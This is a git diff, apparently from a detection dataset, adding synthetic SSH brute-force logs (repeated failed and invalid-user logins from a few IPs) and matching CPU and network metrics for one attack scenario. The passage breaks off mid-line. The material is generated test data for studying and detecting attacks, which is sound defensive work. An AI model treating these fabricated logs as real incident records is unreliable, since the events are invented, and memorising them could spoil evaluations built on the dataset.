sshd[14351]: Failed password for webmaster from 185.191.205.11 port 35514 ssh2 +Aug 17 10:04:30 sshd[29360]: Failed password for webmaster from 185.191.205.10 port 55729 ssh2 +Aug 17 10:04:32 sshd[29360]: Failed password for admin from 185.191.205.11 port 11726 ssh2 +Aug 17 10:04:32 sshd[29360]: Invalid user guest from 185.191.205.10 port 21592 +Aug 17 10:04:32 sshd[29360]: Invalid user ubuntu from 185.191.205.11 port 25901 +Aug 17 10:04:32 sshd[29360]: Invalid user user from 185.191.205.10 port 64392 +Aug 17 10:04:33 sshd[29360]: Failed password for oracle from 185.191.205.10 port 60011 ssh2 +Aug 17 10:04:33 sshd[29360]: Invalid user admin from 185.191.205.10 port 32380 +Aug 17 10:04:33 sshd[29360]: Invalid user root from 192.168.1.105 port 13993 +Aug 17 10:04:34 sshd[29360]: Failed password for ftpuser from 185.191.205.11 port 46187 ssh2 +Aug 17 10:04:34 sshd[29360]: Invalid user ftpuser from 192.168.1.105 port 63283 +Aug 17 10:04:34 sshd[29360]: Invalid user test from 192.168.1.105 port 56656 +Aug 17 10:04:36 sshd[18136]: Failed password for ftpuser from 185.191.205.10 port 45893 ssh2 +Aug 17 10:04:36 sshd[18136]: Invalid user backup from 185.191.205.10 port 32916 +Aug 17 10:04:37 sshd[18136]: Failed password for webmaster from 192.168.1.105 port 22226 ssh2 +Aug 17 10:04:37 sshd[18136]: Invalid user root from 185.191.205.10 port 59981 +Aug 17 10:04:38 sshd[18136]: Invalid user guest from 192.168.1.105 port 16207 +Aug 17 10:04:39 sshd[18136]: Failed password for oracle from 185.191.205.10 port 18564 ssh2 +Aug 17 10:04:39 sshd[18136]: Failed password for user from 192.168.1.105 port 26525 ssh2 +Aug 17 10:04:39 sshd[18136]: Invalid user user from 185.191.205.10 port 30807 +Aug 17 10:04:40 sshd[14700]: Failed password for test from 192.168.1.105 port 12588 ssh2 +Aug 17 10:04:40 sshd[14700]: Failed password for test from 192.168.1.105 port 22434 ssh2 +Aug 17 10:04:40 sshd[14700]: Failed password for webmaster from 192.168.1.105 port 28489 ssh2 +Aug 17 10:04:40 sshd[14700]: Invalid user root from 192.168.1.105 port 20575 +Aug 17 10:04:41 sshd[14700]: Failed password for admin from 185.191.205.11 port 20851 ssh2 +Aug 17 10:04:41 sshd[14700]: Failed password for guest from 185.191.205.10 port 41595 ssh2 +Aug 17 10:04:41 sshd[14700]: Failed password for ubuntu from 185.191.205.10 port 38521 ssh2 +Aug 17 10:04:41 sshd[14700]: Failed password for user from 185.191.205.11 port 25418 ssh2 +Aug 17 10:04:41 sshd[14700]: Invalid user root from 192.168.1.105 port 15751 +Aug 17 10:04:41 sshd[14700]: Invalid user ubuntu from 185.191.205.10 port 17793 +Aug 17 10:04:41 sshd[14700]: Invalid user ubuntu from 185.191.205.10 port 34050 +Aug 17 10:04:42 sshd[14700]: Failed password for root from 192.168.1.105 port 29641 ssh2 +Aug 17 10:04:42 sshd[14700]: Failed password for ubuntu from 192.168.1.105 port 61938 ssh2 +Aug 17 10:04:42 sshd[14700]: Failed password for user from 185.191.205.11 port 20655 ssh2 +Aug 17 10:04:43 sshd[14700]: Failed password for user from 185.191.205.10 port 27218 ssh2 +Aug 17 10:04:46 sshd[24392]: Failed password for backup from 192.168.1.105 port 60579 ssh2 +Aug 17 10:04:46 sshd[24392]: Failed password for ftpuser from 185.191.205.11 port 40602 ssh2 +Aug 17 10:04:46 sshd[24392]: Invalid user sqladmin from 185.191.205.11 port 39217 +Aug 17 10:04:47 sshd[24392]: Failed password for ftpuser from 185.191.205.10 port 39603 ssh2 +Aug 17 10:04:47 sshd[24392]: Invalid user ec2-user from 192.168.1.105 port 60343 +Aug 17 10:04:49 sshd[24392]: Failed password for ubuntu from 185.191.205.11 port 36482 ssh2 +Aug 17 10:04:49 sshd[24392]: Invalid user backup from 185.191.205.11 port 15190 +Aug 17 10:04:50 sshd[13989]: Failed password for webmaster from 192.168.1.105 port 43150 ssh2 +Aug 17 10:04:50 sshd[13989]: Invalid user backup from 185.191.205.10 port 19127 +Aug 17 10:04:51 sshd[13989]: Failed password for guest from 185.191.205.10 port 34160 ssh2 +Aug 17 10:04:51 sshd[13989]: Failed password for guest from 192.168.1.105 port 36797 ssh2 +Aug 17 10:04:51 sshd[13989]: Failed password for webmaster from 185.191.205.10 port 20706 ssh2 +Aug 17 10:04:52 sshd[13989]: Failed password for ftpuser from 185.191.205.11 port 32688 ssh2 +Aug 17 10:04:53 sshd[13989]: Failed password for ftpuser from 192.168.1.105 port 55629 ssh2 +Aug 17 10:04:53 sshd[13989]: Failed password for ubuntu from 185.191.205.11 port 42906 ssh2 +Aug 17 10:04:54 sshd[13989]: Failed password for ubuntu from 185.191.205.11 port 39454 ssh2 +Aug 17 10:04:54 sshd[13989]: Failed password for user from 185.191.205.10 port 63699 ssh2 +Aug 17 10:04:54 sshd[13989]: Failed password for user from 192.168.1.105 port 63215 ssh2 +Aug 17 10:04:54 sshd[13989]: Invalid user backup from 185.191.205.10 port 20483 +Aug 17 10:04:55 sshd[17951]: Failed password for ubuntu from 185.191.205.11 port 34957 ssh2 +Aug 17 10:04:56 sshd[17951]: Failed password for backup from 185.191.205.10 port 61382 ssh2 +Aug 17 10:04:56 sshd[17951]: Failed password for ubuntu from 185.191.205.11 port 44838 ssh2 +Aug 17 10:04:57 sshd[17951]: Failed password for guest from 185.191.205.10 port 12896 ssh2 +Aug 17 10:04:58 sshd[17951]: Invalid user oracle from 185.191.205.11 port 47616 +Aug 17 10:04:59 sshd[17951]: Invalid user backup from 185.191.205.10 port 32084 +Aug 17 10:04:59 sshd[17951]: Invalid user ubuntu from 192.168.1.105 port 59389 +Aug 17 10:05:00 CRON[25087]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 17 10:05:00 sshd[25187]: Invalid user test from 185.191.205.10 port 23149 +Aug 17 10:05:00 systemd[1]: Starting Daily apt download activities... +Aug 17 10:05:01 sshd[25187]: Failed password for test from 185.191.205.10 port 58974 ssh2 +Aug 17 10:05:01 sshd[25187]: Invalid user ubuntu from 192.168.1.105 port 48736 +Aug 17 10:05:02 sshd[25187]: Failed password for backup from 185.191.205.11 port 58902 ssh2 +Aug 17 10:05:02 sshd[25187]: Failed password for ec2-user from 185.191.205.11 port 40520 ssh2 +Aug 17 10:05:02 systemd[1]: Finished Daily apt download activities. +Aug 17 10:05:03 sshd[25187]: Failed password for backup from 185.191.205.11 port 19898 ssh2 +Aug 17 10:05:03 sshd[25187]: Failed password for ubuntu from 185.191.205.10 port 33646 ssh2 +Aug 17 10:05:03 sshd[25187]: Failed password for ubuntu from 185.191.205.10 port 46152 ssh2 +Aug 17 10:05:03 sshd[25187]: Invalid user ftpuser from 185.191.205.10 port 25517 +Aug 17 10:05:04 sshd[25187]: Invalid user root from 185.191.205.11 port 50560 +Aug 17 10:05:04 sshd[25187]: Invalid user test from 192.168.1.105 port 37031 +Aug 17 10:05:05 sshd[1959]: Failed password for ec2-user from 185.191.205.11 port 55940 ssh2 +Aug 17 10:05:05 sshd[1959]: Invalid user test from 192.168.1.105 port 46969 +Aug 17 10:05:06 sshd[1959]: Invalid user ec2-user from 185.191.205.11 port 15595 +Aug 17 10:05:09 sshd[1959]: Invalid user backup from 192.168.1.105 port 61323 +Aug 17 10:05:09 sshd[1959]: Invalid user ec2-user from 185.191.205.10 port 23403 +Aug 17 10:05:10 sshd[2008]: Failed password for guest from 185.191.205.11 port 10940 ssh2 +Aug 17 10:05:10 sshd[2008]: Invalid user root from 185.191.205.10 port 32852 +Aug 17 10:05:11 sshd[2008]: Invalid user ec2-user from 185.191.205.11 port 46393 +Aug 17 10:05:12 sshd[2008]: Failed password for backup from 185.191.205.10 port 10387 ssh2 +Aug 17 10:05:14 sshd[2008]: Failed password for ec2-user from 185.191.205.11 port 41177 ssh2 +Aug 17 10:05:15 sshd[15559]: Failed password for ubuntu from 185.191.205.11 port 26644 ssh2 +Aug 17 10:05:15 sshd[15559]: Invalid user test from 185.191.205.11 port 41723 +Aug 17 10:05:16 sshd[15559]: Failed password for root from 192.168.1.105 port 41581 ssh2 +Aug 17 10:05:16 sshd[15559]: Failed password for test from 192.168.1.105 port 17808 ssh2 +Aug 17 10:05:18 sshd[15559]: Failed password for user from 192.168.1.105 port 48439 ssh2 +Aug 17 10:05:18 sshd[15559]: Invalid user guest from 185.191.205.10 port 52479 +Aug 17 10:05:19 sshd[15559]: Failed password for root from 185.191.205.10 port 56856 ssh2 +Aug 17 10:05:20 sshd[22704]: Failed password for test from 192.168.1.105 port 10856 ssh2 +Aug 17 10:05:21 sshd[22704]: Failed password for ubuntu from 185.191.205.11 port 62739 ssh2 +Aug 17 10:05:21 sshd[22704]: Invalid user oracle from 192.168.1.105 port 15682 +Aug 17 10:05:22 sshd[22704]: Failed password for ftpuser from 192.168.1.105 port 14750 ssh2 +Aug 17 10:05:22 sshd[22704]: Failed password for user from 185.191.205.11 port 16644 ssh2 +Aug 17 10:05:22 sshd[22704]: Failed password for webmaster from 185.191.205.11 port 38263 ssh2 +Aug 17 10:05:22 sshd[22704]: Invalid user guest from 185.191.205.10 port 11865 +Aug 17 10:05:22 sshd[22704]: Invalid user guest from 192.168.1.105 port 64325 +Aug 17 10:05:22 sshd[22704]: Invalid user webmaster from 192.168.1.105 port 63097 +Aug 17 10:05:23 sshd[22704]: Failed password for oracle from 185.191.205.11 port 41209 ssh2 +Aug 17 10:05:23 sshd[22704]: Invalid user root from 185.191.205.11 port 18213 +Aug 17 10:05:24 sshd[22704]: Failed password for user from 185.191.205.10 port 18730 ssh2 +Aug 17 10:05:24 sshd[22704]: Invalid user root from 185.191.205.10 port 38318 +Aug 17 10:05:25 sshd[20933]: Failed password for admin from 185.191.205.10 port 61411 ssh2 +Aug 17 10:05:25 sshd[20933]: Failed password for guest from 192.168.1.105 port 46970 ssh2 +Aug 17 10:05:25 sshd[20933]: Failed password for oracle from 192.168.1.105 port 16323 ssh2 +Aug 17 10:05:25 sshd[20933]: Invalid user backup from 185.191.205.11 port 37662 +Aug 17 10:05:26 sshd[20933]: Failed password for ubuntu from 185.191.205.11 port 30996 ssh2 +Aug 17 10:05:28 sshd[20933]: Failed password for backup from 185.191.205.10 port 40509 ssh2 +Aug 17 10:05:29 sshd[20933]: Invalid user user from 185.191.205.10 port 17016 +Aug 17 10:05:30 sshd[5255]: Failed password for guest from 185.191.205.10 port 54454 ssh2 +Aug 17 10:05:30 sshd[5255]: Invalid user ftpuser from 192.168.1.105 port 64425 +Aug 17 10:05:30 sshd[5255]: Invalid user ubuntu from 192.168.1.105 port 26740 +Aug 17 10:05:31 sshd[5255]: Failed password for oracle from 185.191.205.11 port 48150 ssh2 +Aug 17 10:05:32 sshd[5255]: Invalid user test from 185.191.205.10 port 56296 +Aug 17 10:05:33 sshd[5255]: Failed password for ftpuser from 192.168.1.105 port 45076 ssh2 +Aug 17 10:05:33 sshd[5255]: Failed password for guest from 185.191.205.10 port 48991 ssh2 +Aug 17 10:05:33 sshd[5255]: Failed password for test from 185.191.205.11 port 45647 ssh2 +Aug 17 10:05:33 sshd[5255]: Invalid user backup from 192.168.1.105 port 23987 +Aug 17 10:05:33 sshd[5255]: Invalid user test from 185.191.205.10 port 64734 +Aug 17 10:05:34 sshd[5255]: Invalid user ubuntu from 185.191.205.10 port 17866 +Aug 17 10:05:35 sshd[20254]: Failed password for ftpuser from 192.168.1.105 port 38368 ssh2 +Aug 17 10:05:35 sshd[20254]: Failed password for oracle from 185.191.205.11 port 10077 ssh2 +Aug 17 10:05:35 sshd[20254]: Failed password for webmaster from 192.168.1.105 port 56240 ssh2 +Aug 17 10:05:35 sshd[20254]: Invalid user root from 192.168.1.105 port 52314 +Aug 17 10:05:37 sshd[20254]: Failed password for ec2-user from 185.191.205.10 port 10943 ssh2 +Aug 17 10:05:37 sshd[20254]: Failed password for ftpuser from 185.191.205.10 port 51548 ssh2 +Aug 17 10:05:37 sshd[20254]: Failed password for webmaster from 192.168.1.105 port 25671 ssh2 +Aug 17 10:05:38 sshd[20254]: Failed password for ftpuser from 185.191.205.11 port 61550 ssh2 +Aug 17 10:05:38 sshd[20254]: Failed password for ubuntu from 185.191.205.10 port 13249 ssh2 +Aug 17 10:05:38 sshd[20254]: Invalid user sqladmin from 192.168.1.105 port 26087 +Aug 17 10:05:39 sshd[20254]: Failed password for test from 192.168.1.105 port 34877 ssh2 +Aug 17 10:05:39 sshd[20254]: Failed password for test from 192.168.1.105 port 48066 ssh2 +Aug 17 10:05:39 sshd[20254]: Invalid user user from 185.191.205.11 port 13510 +Aug 17 10:05:41 sshd[22926]: Failed password for ec2-user from 185.191.205.11 port 58373 ssh2 +Aug 17 10:05:41 sshd[22926]: Failed password for ec2-user from 192.168.1.105 port 20771 ssh2 +Aug 17 10:05:41 sshd[22926]: Failed password for ubuntu from 192.168.1.105 port 48939 ssh2 +Aug 17 10:05:41 sshd[22926]: Failed password for user from 192.168.1.105 port 60589 ssh2 +Aug 17 10:05:41 sshd[22926]: Invalid user user from 185.191.205.10 port 17073 +Aug 17 10:05:42 sshd[22926]: Failed password for admin from 185.191.205.11 port 41954 ssh2 +Aug 17 10:05:42 sshd[22926]: Failed password for ftpuser from 192.168.1.105 port 41952 ssh2 +Aug 17 10:05:42 sshd[22926]: Failed password for oracle from 185.191.205.11 port 17436 ssh2 +Aug 17 10:05:42 sshd[22926]: Invalid user guest from 185.191.205.10 port 18013 +Aug 17 10:05:42 sshd[22926]: Invalid user sqladmin from 192.168.1.105 port 33797 +Aug 17 10:05:43 sshd[22926]: Failed password for backup from 185.191.205.11 port 41109 ssh2 +Aug 17 10:05:43 sshd[22926]: Failed password for root from 192.168.1.105 port 32734 ssh2 +Aug 17 10:05:43 sshd[22926]: Failed password for webmaster from 185.191.205.10 port 26091 ssh2 +Aug 17 10:05:44 sshd[22926]: Invalid user ftpuser from 185.191.205.11 port 32106 +Aug 17 10:05:44 sshd[22926]: Invalid user guest from 185.191.205.11 port 20483 +Aug 17 10:05:45 sshd[24386]: Failed password for oracle from 192.168.1.105 port 11933 ssh2 +Aug 17 10:05:45 sshd[24386]: Failed password for test from 185.191.205.10 port 29010 ssh2 +Aug 17 10:05:45 sshd[24386]: Invalid user ftpuser from 192.168.1.105 port 15680 +Aug 17 10:05:45 sshd[24386]: Invalid user root from 192.168.1.105 port 26589 +Aug 17 10:05:45 sshd[24386]: Invalid user sqladmin from 192.168.1.105 port 36675 +Aug 17 10:05:46 sshd[24386]: Invalid user root from 185.191.205.11 port 65535 +Aug 17 10:05:47 sshd[24386]: Failed password for ec2-user from 192.168.1.105 port 18159 ssh2 +Aug 17 10:05:47 sshd[24386]: Failed password for ubuntu from 192.168.1.105 port 46364 ssh2 +Aug 17 10:05:47 sshd[24386]: Invalid user root from 192.168.1.105 port 12550 +Aug 17 10:05:48 sshd[24386]: Invalid user ec2-user from 185.191.205.11 port 26764 +Aug 17 10:05:49 sshd[24386]: Invalid user backup from 185.191.205.10 port 46514 +Aug 17 10:05:49 sshd[24386]: Invalid user sqladmin from 185.191.205.11 port 51290 +Aug 17 10:05:50 CRON[5235]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 17 10:06:15 systemd[1]: Starting Daily apt download activities... +Aug 17 10:06:17 systemd[1]: Finished Daily apt download activities. +Aug 17 10:06:40 CRON[5663]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_7/mali_7_6.csv b/mali_dataset/scenario_7/mali_7_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..17341048d121c0e33347cf2ea4669251eaa49112 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-21T14:00:00Z,13.65,39.23,24.84,0.79,1.5 +2025-09-21T14:00:05Z,8.07,31.44,19.71,0.76,1.05 +2025-09-21T14:00:10Z,9.38,34.6,16.53,1.01,0.78 +2025-09-21T14:00:15Z,9.74,33.18,20.66,0.84,0.91 +2025-09-21T14:00:20Z,8.47,38.21,14.96,0.96,0.86 +2025-09-21T14:00:25Z,6.62,34.08,16.37,0.97,0.56 +2025-09-21T14:00:30Z,9.16,32.23,10.38,1.41,1.0 +2025-09-21T14:00:35Z,12.04,36.39,13.94,1.35,1.84 +2025-09-21T14:00:40Z,14.25,38.39,12.52,1.05,1.89 +2025-09-21T14:00:45Z,5.75,34.37,16.05,1.01,0.88 +2025-09-21T14:00:50Z,12.41,30.78,24.89,1.23,1.95 +2025-09-21T14:00:55Z,5.68,33.62,13.06,1.11,1.21 +2025-09-21T14:01:00Z,8.15,37.2,22.86,1.24,1.75 +2025-09-21T14:01:05Z,5.79,31.13,11.17,1.18,0.91 +2025-09-21T14:01:10Z,8.09,33.11,24.98,1.49,1.22 +2025-09-21T14:01:15Z,7.42,31.01,20.14,1.22,1.27 +2025-09-21T14:01:20Z,5.82,34.47,19.87,0.67,1.21 +2025-09-21T14:01:25Z,6.73,32.17,18.92,1.05,0.91 +2025-09-21T14:01:30Z,7.46,39.15,17.06,1.41,0.86 +2025-09-21T14:01:35Z,13.95,33.14,13.24,0.69,1.72 +2025-09-21T14:01:40Z,6.38,33.85,20.42,0.74,0.6 +2025-09-21T14:01:45Z,14.5,38.8,21.67,0.74,0.69 +2025-09-21T14:01:50Z,13.44,31.63,20.24,0.96,1.15 +2025-09-21T14:01:55Z,11.71,31.26,18.08,0.99,0.9 +2025-09-21T14:02:00Z,8.31,31.66,14.51,1.37,1.82 +2025-09-21T14:02:05Z,8.72,37.11,21.11,16.24,1.85 +2025-09-21T14:02:10Z,19.3,38.4,22.02,19.78,1.79 +2025-09-21T14:02:15Z,25.3,32.79,17.18,27.25,1.61 +2025-09-21T14:02:20Z,33.85,34.49,19.14,19.72,1.98 +2025-09-21T14:02:25Z,34.29,30.86,10.38,19.68,2.37 +2025-09-21T14:02:30Z,41.98,32.25,12.87,23.32,2.62 +2025-09-21T14:02:35Z,43.7,38.85,20.2,22.27,2.09 +2025-09-21T14:02:40Z,54.27,38.39,24.93,29.24,1.76 +2025-09-21T14:02:45Z,58.77,35.91,13.02,12.75,1.62 +2025-09-21T14:02:50Z,61.26,30.96,10.81,10.85,2.91 +2025-09-21T14:02:55Z,71.95,34.52,14.9,11.16,2.51 +2025-09-21T14:03:00Z,74.85,37.06,12.17,27.74,1.86 +2025-09-21T14:03:05Z,75.57,30.83,10.97,24.09,2.17 +2025-09-21T14:03:10Z,76.08,34.99,21.45,20.6,2.12 +2025-09-21T14:03:15Z,81.35,33.3,18.14,25.09,2.42 +2025-09-21T14:03:20Z,82.64,33.84,21.14,25.02,2.5 +2025-09-21T14:03:25Z,87.36,36.78,10.2,27.67,1.62 +2025-09-21T14:03:30Z,91.28,34.89,17.96,20.93,1.47 +2025-09-21T14:03:35Z,87.41,39.37,16.87,26.8,2.11 +2025-09-21T14:03:40Z,90.7,36.64,17.37,29.4,1.79 +2025-09-21T14:03:45Z,94.84,34.84,13.47,16.92,2.4 +2025-09-21T14:03:50Z,87.47,32.65,22.55,18.66,2.19 +2025-09-21T14:03:55Z,90.17,37.33,10.75,12.72,2.36 +2025-09-21T14:04:00Z,86.13,34.7,12.92,14.5,1.51 +2025-09-21T14:04:05Z,91.04,31.02,12.29,12.77,2.77 +2025-09-21T14:04:10Z,80.62,33.99,10.27,20.18,2.21 +2025-09-21T14:04:15Z,82.47,38.14,20.9,17.67,2.95 +2025-09-21T14:04:20Z,75.4,38.27,18.81,29.42,2.46 +2025-09-21T14:04:25Z,71.86,36.72,13.84,17.0,2.53 +2025-09-21T14:04:30Z,72.35,38.91,12.26,25.44,2.1 +2025-09-21T14:04:35Z,62.33,31.66,15.17,17.11,2.6 +2025-09-21T14:04:40Z,63.43,37.52,22.59,26.88,1.79 +2025-09-21T14:04:45Z,53.12,39.45,12.89,14.55,2.77 +2025-09-21T14:04:50Z,53.02,36.18,18.86,20.9,2.43 +2025-09-21T14:04:55Z,39.76,31.78,20.57,19.55,1.66 +2025-09-21T14:05:00Z,35.85,31.19,22.09,11.32,1.3 +2025-09-21T14:05:05Z,29.61,34.96,15.87,28.77,1.44 +2025-09-21T14:05:10Z,18.76,36.64,20.36,28.07,2.46 +2025-09-21T14:05:15Z,18.33,33.72,21.3,23.41,2.1 +2025-09-21T14:05:20Z,7.72,32.37,16.85,23.21,1.93 +2025-09-21T14:05:25Z,9.26,33.14,24.63,1.18,1.47 +2025-09-21T14:05:30Z,6.93,36.74,10.22,1.37,1.63 +2025-09-21T14:05:35Z,13.38,39.69,15.66,0.54,1.37 +2025-09-21T14:05:40Z,10.35,39.31,18.69,1.31,1.9 +2025-09-21T14:05:45Z,11.66,35.41,10.75,0.92,1.03 +2025-09-21T14:05:50Z,10.16,38.99,17.93,1.32,1.08 +2025-09-21T14:05:55Z,13.09,33.95,16.47,0.68,1.31 +2025-09-21T14:06:00Z,14.78,32.19,22.96,0.56,1.78 +2025-09-21T14:06:05Z,14.76,32.78,15.16,0.62,1.96 +2025-09-21T14:06:10Z,11.78,30.7,20.92,1.14,1.64 +2025-09-21T14:06:15Z,6.73,32.09,16.07,1.41,0.99 +2025-09-21T14:06:20Z,12.19,33.68,14.75,0.93,1.17 +2025-09-21T14:06:25Z,8.06,38.42,21.79,1.49,0.82 +2025-09-21T14:06:30Z,10.88,30.37,14.06,1.04,1.05 +2025-09-21T14:06:35Z,11.58,31.53,18.42,1.24,1.55 +2025-09-21T14:06:40Z,14.0,30.16,18.01,0.95,1.34 +2025-09-21T14:06:45Z,6.46,35.63,24.93,1.39,1.22 +2025-09-21T14:06:50Z,6.67,33.31,18.88,0.54,1.47 +2025-09-21T14:06:55Z,13.83,32.11,12.29,1.18,1.16 +2025-09-21T14:07:00Z,12.96,30.62,12.89,1.13,0.99 +2025-09-21T14:07:05Z,5.57,31.33,18.73,0.94,1.07 +2025-09-21T14:07:10Z,7.29,32.9,12.66,1.1,0.64 +2025-09-21T14:07:15Z,9.2,38.95,24.56,1.31,0.55 +2025-09-21T14:07:20Z,8.52,35.17,17.81,0.59,1.92 +2025-09-21T14:07:25Z,8.77,37.42,18.1,1.28,1.43 diff --git a/mali_dataset/scenario_7/mali_7_6.log b/mali_dataset/scenario_7/mali_7_6.log new file mode 100644 index 0000000000000000000000000000000000000000..89408b563a528d3ed30fdb15c1d68fa04b12dc70 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_6.log @@ -0,0 +1,547 @@ +Sep 21 14:00:00 CRON[16658]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Sep 21 14:00:50 sshd[13429]: Accepted publickey for sys-monitor from 10.0.8.12 port 49152 ssh2 +Sep 21 14:01:15 sshd[25200]: Received disconnect from 10.0.8.12 port 49152:11: disconnected by user +Sep 21 14:01:40 CRON[7237]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Sep 21 14:02:05 sshd[21163]: Failed password for invalid user admin from 203.0.113.55 port 48747 +Sep 21 14:02:05 sshd[21163]: Failed password for invalid user backup from 203.0.113.56 port 19017 +Sep 21 14:02:05 sshd[21163]: Failed password for invalid user user from 203.0.113.55 port 50196 +Sep 21 14:02:05 sshd[21163]: Failed password for invalid user webmaster from 203.0.113.58 port 35865 +Sep 21 14:02:06 sshd[21163]: Failed password for webmaster from 203.0.113.55 port 33476 ssh2 +Sep 21 14:02:07 sshd[21163]: Failed password for ec2-user from 203.0.113.55 port 21149 ssh2 +Sep 21 14:02:07 sshd[21163]: Failed password for invalid user ec2-user from 203.0.113.58 port 57608 +Sep 21 14:02:08 sshd[21163]: Failed password for invalid user postgres from 203.0.113.58 port 10985 +Sep 21 14:02:08 sshd[21163]: Failed password for invalid user ubuntu from 203.0.113.55 port 45236 +Sep 21 14:02:08 sshd[21163]: Failed password for invalid user user from 203.0.113.55 port 11454 +Sep 21 14:02:09 sshd[21163]: Failed password for invalid user oracle from 203.0.113.56 port 30681 +Sep 21 14:02:09 sshd[21163]: Failed password for postgres from 203.0.113.55 port 50336 ssh2 +Sep 21 14:02:10 sshd[10926]: Failed password for invalid user guest from 203.0.113.56 port 51015 +Sep 21 14:02:10 sshd[10926]: Failed password for mssql from 203.0.113.56 port 45548 ssh2 +Sep 21 14:02:12 sshd[10926]: Failed password for invalid user oracle from 203.0.113.56 port 65204 +Sep 21 14:02:12 sshd[10926]: Failed password for service from 203.0.113.55 port 12570 ssh2 +Sep 21 14:02:12 sshd[10926]: Failed password for service from 203.0.113.56 port 65164 ssh2 +Sep 21 14:02:12 sshd[10926]: Failed password for sqladmin from 203.0.113.56 port 29488 ssh2 +Sep 21 14:02:13 sshd[10926]: Failed password for invalid user guest from 203.0.113.56 port 14611 +Sep 21 14:02:13 sshd[10926]: Failed password for postgres from 203.0.113.56 port 40332 ssh2 +Sep 21 14:02:14 sshd[10926]: Failed password for invalid user guest from 203.0.113.58 port 42588 +Sep 21 14:02:14 sshd[10926]: Failed password for mssql from 203.0.113.58 port 20085 ssh2 +Sep 21 14:02:14 sshd[10926]: Failed password for user from 203.0.113.56 port 41298 ssh2 +Sep 21 14:02:15 sshd[11684]: Failed password for invalid user postgres from 203.0.113.58 port 43613 +Sep 21 14:02:15 sshd[11684]: Failed password for postgres from 203.0.113.55 port 53550 ssh2 +Sep 21 14:02:15 sshd[11684]: Failed password for test from 203.0.113.55 port 33719 ssh2 +Sep 21 14:02:16 sshd[11684]: Failed password for invalid user admin from 203.0.113.56 port 31933 +Sep 21 14:02:16 sshd[11684]: Failed password for invalid user backup from 203.0.113.55 port 59077 +Sep 21 14:02:16 sshd[11684]: Failed password for invalid user sqladmin from 203.0.113.56 port 38467 +Sep 21 14:02:16 sshd[11684]: Failed password for oracle from 203.0.113.56 port 42589 ssh2 +Sep 21 14:02:17 sshd[11684]: Failed password for backup from 203.0.113.55 port 18902 ssh2 +Sep 21 14:02:17 sshd[11684]: Failed password for backup from 203.0.113.56 port 50306 ssh2 +Sep 21 14:02:17 sshd[11684]: Failed password for invalid user ec2-user from 203.0.113.58 port 57770 +Sep 21 14:02:18 sshd[11684]: Failed password for invalid user backup from 203.0.113.58 port 35129 +Sep 21 14:02:19 sshd[11684]: Failed password for invalid user test from 203.0.113.56 port 10673 +Sep 21 14:02:20 sshd[21173]: Failed password for invalid user test from 203.0.113.55 port 44633 +Sep 21 14:02:20 sshd[21173]: Failed password for oracle from 203.0.113.55 port 45521 ssh2 +Sep 21 14:02:20 sshd[21173]: Failed password for user from 203.0.113.55 port 43089 ssh2 +Sep 21 14:02:21 sshd[21173]: Failed password for admin from 203.0.113.56 port 48647 ssh2 +Sep 21 14:02:21 sshd[21173]: Failed password for invalid user mssql from 203.0.113.55 port 22460 +Sep 21 14:02:21 sshd[21173]: Failed password for invalid user mssql from 203.0.113.58 port 37823 +Sep 21 14:02:22 sshd[21173]: Failed password for postgres from 203.0.113.55 port 43632 ssh2 +Sep 21 14:02:23 sshd[21173]: Failed password for postgres from 203.0.113.58 port 29936 ssh2 +Sep 21 14:02:23 sshd[21173]: Failed password for test from 203.0.113.56 port 62303 ssh2 +Sep 21 14:02:24 sshd[21173]: Failed password for guest from 203.0.113.55 port 64729 ssh2 +Sep 21 14:02:24 sshd[21173]: Failed password for invalid user ec2-user from 203.0.113.56 port 40810 +Sep 21 14:02:24 sshd[21173]: Failed password for invalid user sqladmin from 203.0.113.58 port 44943 +Sep 21 14:02:25 sshd[14317]: Failed password for admin from 203.0.113.55 port 46792 ssh2 +Sep 21 14:02:25 sshd[14317]: Failed password for invalid user postgres from 203.0.113.58 port 45453 +Sep 21 14:02:25 sshd[14317]: Failed password for user from 203.0.113.55 port 48213 ssh2 +Sep 21 14:02:26 sshd[14317]: Failed password for admin from 203.0.113.58 port 23788 ssh2 +Sep 21 14:02:26 sshd[14317]: Failed password for invalid user user from 203.0.113.58 port 37387 +Sep 21 14:02:27 sshd[14317]: Failed password for guest from 203.0.113.58 port 64440 ssh2 +Sep 21 14:02:27 sshd[14317]: Failed password for invalid user admin from 203.0.113.55 port 44952 +Sep 21 14:02:27 sshd[14317]: Failed password for sqladmin from 203.0.113.56 port 63071 ssh2 +Sep 21 14:02:27 sshd[14317]: Failed password for test from 203.0.113.58 port 24578 ssh2 +Sep 21 14:02:27 sshd[14317]: Failed password for ubuntu from 203.0.113.58 port 44811 ssh2 +Sep 21 14:02:28 sshd[14317]: Failed password for admin from 203.0.113.55 port 35862 ssh2 +Sep 21 14:02:28 sshd[14317]: Failed password for postgres from 203.0.113.56 port 60656 ssh2 +Sep 21 14:02:28 sshd[14317]: Failed password for webmaster from 203.0.113.55 port 63399 ssh2 +Sep 21 14:02:29 sshd[14317]: Failed password for backup from 203.0.113.58 port 16845 ssh2 +Sep 21 14:02:29 sshd[14317]: Failed password for invalid user oracle from 203.0.113.56 port 48354 +Sep 21 14:02:29 sshd[14317]: Failed password for oracle from 203.0.113.58 port 17812 ssh2 +Sep 21 14:02:29 sshd[14317]: Failed password for service from 203.0.113.56 port 35087 ssh2 +Sep 21 14:02:30 sshd[11408]: Failed password for ftpuser from 203.0.113.55 port 45957 ssh2 +Sep 21 14:02:30 sshd[11408]: Failed password for invalid user admin from 203.0.113.56 port 61335 +Sep 21 14:02:30 sshd[11408]: Failed password for ubuntu from 203.0.113.56 port 40480 ssh2 +Sep 21 14:02:32 sshd[11408]: Failed password for invalid user sqladmin from 203.0.113.55 port 10820 +Sep 21 14:02:32 sshd[11408]: Failed password for test from 203.0.113.58 port 12769 ssh2 +Sep 21 14:02:33 sshd[11408]: Failed password for invalid user ftpuser from 203.0.113.58 port 37577 +Sep 21 14:02:33 sshd[11408]: Failed password for postgres from 203.0.113.55 port 31309 ssh2 +Sep 21 14:02:33 sshd[11408]: Failed password 